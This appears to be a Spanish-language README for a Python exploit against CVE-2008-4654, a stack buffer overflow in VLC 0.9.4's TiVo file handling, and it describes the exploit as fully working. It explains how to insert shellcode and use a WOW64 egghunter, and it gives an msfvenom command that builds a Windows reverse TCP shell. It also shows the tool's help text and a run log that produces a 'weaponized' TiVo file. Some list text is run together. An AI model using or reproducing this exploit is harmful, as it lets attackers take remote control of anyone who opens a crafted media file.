
Un exploit totalmente funcional para una vulnerabilidad de desbordamiento de búfer basado en pila en el VLC Media Player 0.9.4 de VideoLan al procesar archivos TiVo.
Un exploit totalmente funcional para la vulnerabilidad de desbordamiento de búfer basado en pila CVE-2008-4654 en VLC Media Player 0.9.4 de VideoLan al procesar archivos TiVo. Está dirigido a un binario de 32 bits que se ejecuta en un sistema Windows de 64 bits y utiliza un egghunter WOW64 para evitar las limitaciones de espacio de pila.
Actualice el script:
buf = b'[...]' en el script con su propio shellcode (por ejemplo, de msfvenom).EGG_HUNTER_WOW64 si desea una etiqueta diferente o tiene un egghunter personalizado.python .\CVE-2008-4654.py --help
CVE-2008-4654 - VLC v0.9.4 Tivo Stack Buffer Overflow - by Maurice Fielenbach (grimlockx) - Hexastrike Cybersecurity UG (haftungsbeschränkt)
usage: CVE-2008-4654.py [-h] --input INPUT --output OUTPUT
Transform a given TiVo file into a weapon with predefined shellcode.
options:
-h, --help show this help message and exit
--input INPUT Path to the input TiVo file to be weaponized.
--output OUTPUT Path where the modified (weaponized) TiVo file will be saved.
TIVO_PES_FILEID) en el archivo TiVo.b"\x00\x00\x00\xff", lo que prepara la lectura fuera de los límites que conduce al desbordamiento de pila.TIVO_PES_FILEID) con un payload personalizado.w00tw00t.msfvenom -p windows/shell_reverse_tcp LHOST=192.168.10.150 LPORT=6666 -a x86 -f python -b '\x00'
buf = b'[...]' con el shellcode creado anteriormente.PS C:\ > python .\CVE-2008-4654.py --input .\test.ty --output .\hazard.ty
CVE-2008-4654 - VLC v0.9.4 Tivo Stack Buffer Overflow - by Maurice Fielenbach (grimlockx) - Hexastrike Cybersecurity UG (haftungsbeschränkt)
[+] Found TIVO_PES_FILEID at offset 0x300000.
[+] Replaced 4 bytes at offset 0x300014 with 0x000000ff.
[+] Replaced 685 bytes at offset 0x30005c.
[+] Successfully weaponized: .\hazard.ty